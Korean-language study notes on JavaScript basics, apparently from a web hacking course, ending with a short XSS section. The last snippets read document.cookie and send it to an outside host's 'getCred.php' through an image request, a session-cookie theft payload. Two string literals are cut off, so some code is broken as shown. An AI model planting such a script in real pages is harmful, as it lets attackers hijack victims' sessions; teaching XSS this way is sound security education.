Javascript

0x04. Javascript

#> Client Side Script

```
<html>
<script>
    alert("Hello");
</script>
</html>
```

#> Basic

$> 변수

```
<script>
    var a = 123;
    var b = 'test';

    let c = 123;
    let d = 'test';
</script>
```

$> 상수

→ 변하지 않는 값

```
<script>
    const a = 123;
    a = 'test'; // Error
</script>
```

$> 출력

```
<script>
    let data = "test";

    console.log(data);

    alert(data);

    prompt(data);

    confirm(data);
</script>
```

$> 조건

```
<script>
    let data = 'test';

    if(data == 'test'){
        console.log("Same!");
    }else{
        console.log("Not Same");
    }
</script>
```

$> 반복

— for

```
<script>
    for(var i = 0; i < 10; i++){
        console.log(i);
    }
</script>
```

— for of

```
<script>
    let arr = ['1', '2', '3'];

    for(let element of arr){
        console.log(element);
    }
</script>
```

— for in

```
<script>
    let info = {name:"normaltic", score:"100", userid:"normal

    for(let key in info){
        console.log(key + " : " + info[key]);
    }
</script>
```

— while

```
<script>
    var i = 0;

    while(i < 10){
        console.log(i);
        i++;
    }
</script>
```

$> 함수

```
<script>
    function showshow(data){
        alert(data);
    }

    showshow('test');
</script>
```

#> XSS

→ 공격자가 스크립트를 삽입할 수 있는 공격.

→ 피해자의 브라우저에서 공격자가 삽입한 스크립트가 실행된다.

#> Hijack Session ID

```
<script>
    var cookieData = document.cookie;
</script>
```

$> Data Send

```
<script>
    const Http = new XMLHttpRequest();

    const url = 'https://normaltic.com/test.php';

    Http.open('GET', url);
    Http.send();
    Http.onreadystatechange = (e) => {
        console.log(Http.responseText);
    };
</script>
```

$> Data Send : Like Hacker

```
<script>
    var cookieData = document.cookie;

    var attackURL = "http://normaltic.com/getCred.php?cookie=

    new Image().src = attackURL + cookieData;

</script>
```